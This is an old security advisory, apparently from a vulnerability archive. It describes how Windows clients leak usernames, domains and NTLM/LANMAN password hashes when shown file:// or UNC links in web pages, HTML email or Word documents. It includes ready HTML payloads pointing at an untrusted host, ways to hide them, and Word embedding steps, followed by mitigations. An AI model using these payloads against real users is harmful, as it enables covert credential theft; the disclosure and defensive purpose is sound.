COMMAND
Network File Resource
SYSTEMS AFFECTED
Windows (All versions)
PROBLEM
'Eric Hacker' found following. Remote access to users logon
credentials. In most scenarios passwords will be encrypted, but
crackable.
Programs running on default configurations of Windows can easily
be duped into sending a user’s logon name, domain or system name,
and plain-text or encrypted password hash to non-trusted servers
over the Internet. This can occur by merely viewing a web page,
email, or certain Office documents. The attack can be executed
such that the user is unaware that anything unusual has happened.
Macros or scripting are not required to make this work. Partial
solutions are available, but will not protect all users or
enterprises.
Note: This vulnerability is not an entirely new discovery. A
variation of this attack using only IE had been discussed as far
back as 97 on the BugTraq and NTBugTraq lists. The new issues
are that:
- The file:// tag as well as UNC \\ pathnames can be used
- This attack can easily be sent via email
- Windows 2000 is vulnerable to this type of attack
- There is not any way to configure this functionality or turn
it off
Vulnerable Operating Systems tested:
- Windows 95,98 (W9x)
- Windows NT4, SP6a (NT4)
- Windows 2000, RTM (W2K)
Vulnerable software tested:
- Internet Explorer (IE) 5, 4
- Netscape Navigator 4.0
- Outlook 2000, 98
- Outlook Express 98, 5
- Eudora 4
- Microsoft Word 97
Assume many others. Not all software was tested on all platforms.
This attack relies on the file:// URL or sometimes the UNC \\
pathname to point to a resource such as a graphic. Windows
systems with NetBIOS over IP enabled and running a Microsoft
Client will retrieve the resource by attempting to log in to the
server providing the resource. Thus if a link was
file://untrusted.net/share/pixel.gif
one's system will try to log on to untrusted.net using the current
logon credentials and retrieve the file.
This will give the untrusted.net server:
- The username currently logged on
- The machine or domain name the user authenticated to
- The encrypted LANMAN and NTLM hashes, or if W95 possibly the
plain-text password (see below)
This attack can be delivered by:
- A web page, as an embedded link to a graphic or other
resource on a page visited from a browser.
- An HTML formatted email, as an embedded link to a graphic or
other resource.
- In a Microsoft Word document, as an embedded link to a
picture.
- When the W2K Windows Explorer preview pane displays an HTML
file.
- Possibly many other ways. Happy hunting.
Detailed Web Based:
===================
The first attack is to hide a file:// or UNC link to an embedded
resource within a web page. This is extremely easy to do. The
weakness is that a user has to visit the web page in order for the
attack to take place. HTML code would look something like this:
<IMG SRC="file://dns.name.or.ip.here/share/file.gif">
This may result in broken graphics displayed if the file is not
retrieved. The preferred method of hiding the request is to use
the background attribute of the body tag. This will not display
errors if the file is not retrieved.
<BODY background=file://untrusted.net/share/pixel.gif bgColor=#ffffff>
If pixel.gif is a 1x1 white image, the user will not notice if it
is displayed or not. Unless one views the source one would have
no idea the file is even there. If the file is not available, one
may notice that it seems to take a while for the page to complete
loading even though all text is visible. Another way to prevent
any errors from appearing is to set up the guest account with no
password to allow anonymous access to the server. Windows will
always try the cached credentials first. When the cached
credentials fail, a server will silently allow anonymous access
and deliver the file.
IE will also take the UNC path format
\\untrusted.net\share\pixel.gif. Netscape (4.05) will not use
this format. Research indicates that this was the original
problem reported in 1997 with IE 3.0, but Eric could be wrong as
the authors were not entirely clear.
Detailed Mail based:
====================
Since most major mail programs on Windows support HTLM email using
either the Netscape or IE engine for display, this same attack can
be delivered by email. An HTML message with the following:
<BODY background=file://untrusted.net/share/pixel.gif bgColor=#ffffff NOSEND="1">
will activate the attack when the user opens or previews the
message. The NOSEND attribute will keep Outlook from embedding
the file in the email message. This will ensure that the link is
forwarded if the mail is clever enough to get the initial
recipient to forward it. Obviously the mail based version has
the benefit of being directed at targets. This has been
successfully used in field testing.
Detailed Document based:
========================
Links can also be placed in Microsoft Word documents. To do this,
open a word document. Choose Insert:Picture:From File. In the
dialog box type the UNC path for the file name. Check "Link to
File" and uncheck "Save with Document". Word does not accept the
file:// URL.
This linking does not require any macros to run. If a small white
graphic is used the viewer will have no idea it is in the
document. Excel does not allow picture embedding in the same way.
We assume other Office programs may be vulnerable; Eric did not do
further testing.
Windows 95 downgrading LANMAN authentication:
=============================================
According to Microsoft TechNet Bulletin Q165403, Windows 95
versions up to and including OEM SR 2.1 can be tricked into
downgrading authentication to plaintext passwords. There is an
update for W95 available; see
http://support.microsoft.com/support/kb/articles/Q165/4/03.ASP
for details. Without that patch these systems are extremely
vulnerable. Enterprises running W95 should verify their
configurations. W98, NT4 sp3 or later and W2K are not vulnerable
to plaintext downgrading. We mention this because we have
encountered a number of these systems in the field.
SOLUTION
Vendors notified, workarounds available, but do not provide
complete protection for all environments.
Remedies that provide some protection:
- Block all outgoing NetBIOS traffic at the firewalls
- Disable NetBIOS on unneeded interfaces
- Upgrade to or force NTLMv2 authentication for all clients
- Use strong passwords and use passfilt.dll to require strong
passwords within a domain
Upgrade to or force NTLMv2 authentication for all clients
=========================================================
This will not keep your username and server name from going out
over the wire if the untrusted system also supports NTLMv2. It
will make your password more difficult to crack, but it is still
susceptible to dictionary/brute force attacks. NTLMv2 raises the
bar, but does not completely protect you.
For NT4 and W2K see
http://support.microsoft.com/support/kb/articles/Q147/7/06.asp
for the details. W9x clients can now also use NTLMv2
authentication. See
http://support.microsoft.com/support/kb/articles/Q239/8/69.ASP
for the details.
Block all outgoing NetBIOS traffic at the firewalls
===================================================
This will not protect you from those inside your network, but it
will stop outsiders from getting any information. Everyone
worries about inbound traffic, but many places don not consider
outbound. Block TCP ports 138 and 139 for NetBIOS.
Disable NetBIOS on unneeded interfaces
======================================
This will protect some people some of the time. Most of the time
there is no reason to allow NetBIOS over dial-up connections.
This will protect the person with the corporate laptop when they
are home and dialing up to the Internet. One assumes the firewall
protects them in the office.
Use strong passwords and use passfilt.dll to require strong passwords within a domain
=====================================================================================
Strong passwords that do not include common words but do contain
punctuation, upper and lowercase letters and numerals are
extremely hard to crack. All passwords should be the full 14
available characters on Windows. Domain administrators can use
passfilt.dll to apply a filter that requires users to use stronger
passwords. For details on passfilt.dll see
http://support.microsoft.com/support/kb/articles/Q169/9/90.ASP
The restrictions in passfilt.dll are not strong enough to ensure
that users will not dumb down their passwords. This happens when
they just append special characters to the ends of common words.
These passwords are only minimally harder to crack than dictionary
words. Anecdotal evidence shows this pattern is very common.
Managers requiring a higher level of password sophistication must
write their own passfilt.dll or wait for Microsoft to release a
new one. Instructions for writing your own are at
http://support.microsoft.com/support/kb/articles/Q151/0/82.ASP
Things that do not help:
- Disable caching of logon information. Only applies between
reboots.
- Security settings in IE do not provide a way to stop this.
The authentication settings only apply to http://
authentication.
- No macros or scripts are required; turning them off does not
stop this.
- Outlook cannot be configured to not display HTML emails.